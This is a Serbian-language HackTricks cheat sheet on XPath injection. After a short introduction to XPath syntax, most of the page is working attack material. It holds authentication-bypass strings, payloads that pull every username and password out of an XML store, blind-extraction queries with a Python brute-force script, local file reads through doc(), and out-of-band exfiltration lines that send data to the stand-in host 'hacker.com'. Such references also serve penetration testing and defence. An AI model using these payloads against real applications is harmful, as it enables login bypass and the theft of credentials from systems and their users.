XPATH injection
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovna sintaksa
Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa za upit ili navigaciju XML dokumentima.
Opis čvorova
Izrazi se koriste za odabir različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sažeti u nastavku:
- nodename: Svi čvorovi sa imenom "nodename" se biraju.
- /: Odabir se vrši iz korenskog čvora.
- //: Čvorovi koji odgovaraju odabiru iz trenutnog čvora se biraju, bez obzira na njihovu lokaciju u dokumentu.
- .: Odabire se trenutni čvor.
- ..: Odabire se roditelj trenutnog čvora.
- @: Odabiru se atributi.
XPath primeri
Primeri putanjskih izraza i njihovih rezultata uključuju:
- bookstore: Svi čvorovi nazvani "bookstore" se biraju.
- /bookstore: Korenski element bookstore se bira. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
- bookstore/book: Svi elementi knjiga koji su deca bookstore se biraju.
- //book: Svi elementi knjiga u dokumentu se biraju, bez obzira na njihovu lokaciju.
- bookstore//book: Svi elementi knjiga koji su potomci elementa bookstore se biraju, bez obzira na njihovu poziciju pod elementom bookstore.
- //@lang: Svi atributi nazvani lang se biraju.
Korišćenje predikata
Predikati se koriste za preciziranje odabira:
- /bookstore/book[1]: Prvi element knjige dete elementa bookstore se bira. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao [0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
- /bookstore/book[last()]: Poslednji element knjige dete elementa bookstore se bira.
- /bookstore/book[last()-1]: Pretposlednji element knjige dete elementa bookstore se bira.
- /bookstore/book[position()<3]: Prva dva elementa knjiga deca elementa bookstore se biraju.
- //title[@lang]: Svi elementi naslova sa atributom lang se biraju.
- //title[@lang='en']: Svi elementi naslova sa vrednošću atributa "lang" koja je "en" se biraju.
- /bookstore/book[price>35.00]: Svi elementi knjiga iz bookstore sa cenom većom od 35.00 se biraju.
- /bookstore/book[price>35.00]/title: Svi elementi naslova elemenata knjiga iz bookstore sa cenom većom od 35.00 se biraju.
Rukovanje nepoznatim čvorovima
Zvezdice se koriste za usklađivanje nepoznatih čvorova:
- *: Usklađuje se sa bilo kojim element čvorom.
- @*: Usklađuje se sa bilo kojim atribut čvorom.
- node(): Usklađuje se sa bilo kojim čvorom bilo koje vrste.
Dalji primeri uključuju:
- /bookstore/*: Biraju se svi čvorovi elementa dece elementa bookstore.
- //*: Biraju se svi elementi u dokumentu.
- //title[@*]: Biraju se svi elementi naslova sa najmanje jednim atributom bilo koje vrste.
Primer
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Pristupite informacijama
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifikacija i krađa šeme
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Obilaženje autentifikacije
Primeri upita:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR zaobići u korisničkom imenu i lozinki (ista vrednost u oba)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Zloupotreba null injekcije
Username: ' or 1]%00
Duple OR u korisničkom imenu ili lozinki (važi samo za 1 ranjivo polje)
VAŽNO: Obratite pažnju da je "i" prva operacija koja se izvršava.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Ekstrakcija stringova
Izlaz sadrži stringove i korisnik može manipulisati vrednostima za pretragu:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Dobijanje dužine vrednosti i ekstrakcija putem poređenja:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python Primer
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Pročitaj fajl
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Eksploatacija
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Automatski alat
Reference
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.